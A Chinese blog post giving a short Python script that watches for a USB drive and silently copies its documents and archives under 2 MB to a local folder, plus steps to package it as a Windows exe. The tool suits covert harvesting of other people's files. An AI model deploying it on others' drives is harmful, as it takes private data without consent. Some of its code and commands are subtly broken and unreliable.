1. 程式人生 > >Python黑科技 實現U盤自動讀取複製~幾行程式碼搞定

Python黑科技 實現U盤自動讀取複製~幾行程式碼搞定

python玩蛇群 歡迎加入      901170193

先貼程式碼

import os,time,shutil,re



#識別檔案的格式
regex_filename = re.compile(r'(.*zip$)|(.rar$)|(.*docx$)|(.*ppt$)|(.*xls$)|(.*py$)')

def usb_monitor(sleep_time,usb_path,copy_folder):


    if not os.path.exists(copy_folder):
        os.mkdir(copy_folder)

    a = 0

    while True:

        time.sleep(sleep_time)


        start_time = time.time()
        file_num = 0

        try:
            u = os.listdir(usb_path)
        except FileNotFoundError:
            print('usb is not found')
            a=0
            continue

        if a>0:
            print('usb has already copied')
            continue

        copy_folder = os.path.join(copy_folder, time.strftime('%Y-%m-%d %H-%M', time.localtime()))
        os.mkdir(copy_folder)
        for root, dirs, files in os.walk(usb_path):
            if a == 0:
                print('start copy usb is {}'.format(dirs[0]))
                usb_name = dirs[0]

            a += 1

            if len(files)==0:
                continue

            for name in files:

                file = os.path.join(root,name)
                if regex_filename.match(file) and os.path.getsize(file) < 1024*1024*2:
                    file_num+=1


                    print(file)
                    # file_create_time = time.ctime(os.path.getctime(file))
                    file_create_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getctime(file)))

                    shutil.copy2(file,copy_folder)
                else:
                    continue
        if file_num==0:
            print('usb is not found file')
            continue
        print('共下載{}份檔案---用時:{}s'.format(file_num,time.time()-start_time))




usb_monitor(1,r'F:/',r'save_path')


大概的流程就是 設定個迴圈定時掃描,如果檢測到u盤的碟符就開始複製裡面的檔案,可以設定拷貝檔案的大小和想要拷貝檔案的格式,需要在py中配置,如果想要很方便的配置可以加個sys.argv 接受引數,設定引數,這裡我就不配置了!!相信看此文的人都是很聰明的boy!!!  然後可以使用pyinstaller 就行打包 ,這樣在window下可以直接單擊使用啦!!!方便小白!!哈哈哈

簡單介紹下pyinstaller

安裝

pip install pyinstaller

打包檔案

pyinstall -F -i   image.ico   demo.py

打包之後會在當前目錄生成一個dist 檔案,裡面就是生成的exe檔案了,點選!!!!神奇的事情發生了!!!

感性趣的boy趕緊行動起來!!!歡迎加入玩蛇群   901170193